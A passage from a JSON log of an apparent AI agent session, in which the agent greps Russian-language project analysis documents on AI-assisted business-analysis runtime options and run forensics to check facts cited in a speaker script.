},\n[2026-09-29T07:54:54.186Z] [INFO]         \"caller\": {\n[2026-09-29T07:54:54.186Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:54:54.186Z] [INFO]         }\n[2026-09-29T07:54:54.186Z] [INFO]       }\n[2026-09-29T07:54:54.186Z] [INFO]     ],\n[2026-09-29T07:54:54.186Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:54.186Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:54.186Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:54.186Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:54.186Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:54.186Z] [INFO]       },\n[2026-09-29T07:54:54.186Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:54.186Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:54.186Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:54.186Z] [INFO]     },\n[2026-09-29T07:54:54.186Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:54.186Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:54.186Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:54.186Z] [INFO]   },\n[2026-09-29T07:54:54.186Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:54.186Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"uuid\": \"84fef0da-bf43-4b9e-b40e-31ff08ef3c27\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:54.164Z\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:54:54.186Z] [INFO]     \"toolu_01X1KssENReDdoiregNbBuiZ\": {\n[2026-09-29T07:54:54.186Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\necho \\\"== CVE/LangGraph/15 nodes/digest\\\"; grep -n -i 'CVE-2026\\\\|langgraph.*MIT\\\\|MIT.*langgraph\\\\|15 \u0443\u0437\u043b\\\\|\u0446\u0435\u043f\u043e\u0447\u043a' $R | head\\necho \\\"== lorem\\\"; grep -rn -i 'lorem' $P/docs/analysis/*.md | head -5\\necho \\\"== GigaCode API\\\"; grep -n -i '\u043d\u0435\u0442 API\\\\|\u0431\u0435\u0437 API\\\\|API Mango AI' $R $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md | head -5\\necho \\\"== byte\\\"; grep -rn -i '\u043f\u043e\u0431\u0430\u0439\u0442' $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md $R | head -5\\necho \\\"== forensics\\\"; F=$P/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n 'BCREQ-1074\\\\|66 \u0438\u0437 67\\\\|66/67\\\\|17 \\\\|RUN-0015\\\\|RUN-0063\\\\|50 \u0438\u0437 67\\\\|50/67' $F | head -20\\necho \\\"== golden\\\"; grep -n -i '7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -3; ls $P/dist/execution-package-gigacode-cli/golden\\necho \\\"== MCP\\\"; grep -rn -i 'read-only\\\\|\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438' $P/docs/analysis/2026-09-29-*.md $P/dist/*/README* 2>/dev/null | head -5\\necho \\\"== M metrics\\\"; grep -n 'M-[1-5]' $P/ba-meta-model/40-practice-and-cases.md | head -20\",\n[2026-09-29T07:54:54.186Z] [INFO]       \"description\": \"Verify facts cited in speaker script\"\n[2026-09-29T07:54:54.186Z] [INFO]     }\n[2026-09-29T07:54:54.186Z] [INFO]   }\n[2026-09-29T07:54:54.186Z] [INFO] }\n[2026-09-29T07:54:55.725Z] [INFO] {\n[2026-09-29T07:54:55.725Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"message\": {\n[2026-09-29T07:54:55.725Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:54:55.725Z] [INFO]     \"content\": [\n[2026-09-29T07:54:55.725Z] [INFO]       {\n[2026-09-29T07:54:55.725Z] [INFO]         \"tool_use_id\": \"toolu_01X1KssENReDdoiregNbBuiZ\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"content\": \"== CVE/LangGraph/15 nodes/digest\\n59:   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n140:| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n222:| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n256:| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n279:| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); \u043d\u043e\u0432\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 2026-09-16 ([advisories](https://github.com/n8n-io/n8n/security/advisories)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440, \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0432\u043d\u0435\u0448\u043d\u0438\u0435 task runners, \u0443\u0437\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 |\\n282:| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n327:\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n355:| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n381:| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n== lorem\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:250:| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n== GigaCode API\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n== byte\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:31:\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:207:| Working \u2192 Release | Runner | \u0414\u0430 | \u0412\u0441\u0451, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 ([\u0413-16](#\u0433-16)) |\\n== forensics\\n60:| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n73:   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n80:   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n101:| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n107:| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n127:| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 